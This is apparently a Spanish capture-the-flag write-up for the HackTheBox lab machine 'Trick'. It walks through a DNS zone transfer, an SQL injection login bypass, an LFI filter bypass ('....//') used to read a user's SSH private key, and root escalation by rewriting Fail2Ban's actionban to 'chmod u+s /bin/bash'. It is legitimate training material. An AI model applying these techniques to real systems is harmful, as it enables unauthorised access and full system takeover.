Resumen

Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una SQL Injection para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un LFI (Local File Inclusion) con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de Fail2Ban y mi capacidad de reiniciar el servicio con sudo.

Imagen del post

Escaneo y Reconocimiento

Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
|   256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
25/tcp open  smtp?   syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web (Puerto 80)

Al visitar la web principal en el puerto 80, encuentro una página “Coming Soon” sin funcionalidad aparente. Identifico que corre sobre Nginx 1.14.2.

Imagen del post

Enumeración DNS (Puerto 53)

Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.

dig @10.129.95.104 -x 10.129.95.104

; <<>> DiG 9.20.4-4-Debian <<>> @10.129.95.104 -x 10.129.95.104
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46316
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
;; QUESTION SECTION:
;104.95.129.10.in-addr.arpa.    IN      PTR

;; ANSWER SECTION:
104.95.129.10.in-addr.arpa. 604800 IN   PTR     trick.htb.

;; AUTHORITY SECTION:
95.129.10.in-addr.arpa. 604800  IN      NS      trick.htb.

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 204 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (UDP)
;; WHEN: Thu Jan 22 18:33:54 CET 2026
;; MSG SIZE  rcvd: 164

Con el dominio trick.htb identificado, intento una transferencia de zona (AXFR) para listar todos los subdominios configurados.

dig axfr trick.htb @10.129.95.104          

; <<>> DiG 9.20.4-4-Debian <<>> axfr trick.htb @10.129.95.104
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 40 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (TCP)
;; WHEN: Thu Jan 22 18:36:11 CET 2026
;; XFR size: 6 records (messages 1, bytes 231)

Encuentro un subdominio interesante: preprod-payroll.trick.htb. Lo añado a mi /etc/hosts.

Acceso Inicial

SQL Injection en Preprod-Payroll

Al acceder a preprod-payroll.trick.htb, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.

Imagen del post

Imagen del post

¡Éxito! Accedo al panel administrativo de gestión de nóminas.

Imagen del post

Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:

  • Usuario: Enemigosss
  • Password: SuperGucciRainbowCake

Imagen del post

Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante fuzzing de vhosts.

Imagen del post

LFI en Preprod-Marketing

El fuzzing revela otro subdominio: preprod-marketing.trick.htb.

Imagen del post

Al navegar por esta web, observo que las páginas se cargan mediante un parámetro page: http://preprod-marketing.trick.htb/index.php?page=services.html

Esto es un indicador potencial de LFI. Vamos a explorar…

Imagen del post

Pruebo cargas útiles básicas (../../etc/passwd), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que ....// funciona para saltar directorios.

Imagen del post

Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.

Consigo leer el /etc/passwd y confirmo la existencia del usuario michael. Dado que tengo LFI, intento leer su clave privada SSH.

Imagen del post

Copio la clave (id_rsa), le doy los permisos adecuados (chmod 600) y me conecto como michael.

Imagen del post

Ya estoy dentro. Capturo la user flag.

Escalada de Privilegios

Enumeración de Sudoers

Reviso los permisos de sudo del usuario michael.

uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)


michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Puedo reiniciar el servicio Fail2Ban como root sin contraseña.

Abuso de configuración de Fail2Ban

Usamos esta guia que explica que es este ejecutable.

https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server

Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.

“Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs (too many password failures, seeking for exploits, etc.)”

Observo que el grupo security (al que pertenezco: groups=1001(michael),1002(security)) tiene permisos de escritura sobre los archivos de configuración en action.d.

Imagen del post

Existe un objeto principal el cual contiene la configuración global de los baneos, reside en /etc/fail2ban/jail.conf

El archivo /etc/fail2ban/jail.conf define que tras 5 intentos fallidos, la IP será baneada ejecutando una acción. La acción por defecto suele implicar iptables-multiport.

Imagen del post

Exploaramos ese archivo iptables-multiport.conf.

michael@trick:/etc/fail2ban/action.d$ cat iptables-multiport.conf
# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option:  actionstart
# Notes.:  command executed once at the start of Fail2Ban.
# Values:  CMD
#
actionstart = <iptables> -N f2b-<name>
              <iptables> -A f2b-<name> -j <returntype>
              <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option:  actionstop
# Notes.:  command executed once at the end of Fail2Ban
# Values:  CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
             <actionflush>
             <iptables> -X f2b-<name>

# Option:  actioncheck
# Notes.:  command executed once before each actionban command
# Values:  CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Edito el archivo /etc/fail2ban/action.d/iptables-multiport.conf. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (actionban) por uno que me otorgue permisos de root.

mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
vim iptables-multiport.conf

Con esto podemos modificar el archivo. ya que estamos dentro del grupo security que nos permite mover archivos y reescribirlos.

actionban = chmod u+s /bin/bash

Ejecución

  1. Reinicio Fail2Ban para aplicar la configuración maliciosa:
sudo /etc/init.d/fail2ban restart
  1. Podemos ver en el archivo/etc/fail2ban/jail.conf cuantos intentos tenemos antes del baneo, son 5.

Imagen del post

  1. Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta 5 veces para disparar la regla de baneo.
ssh msassam@trick.htb
# (Fallo la contraseña 5 veces intencionalmente)
  1. Una vez activado el “ban”, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:

Imagen del post

Tenemos shell como root!

Imagen del post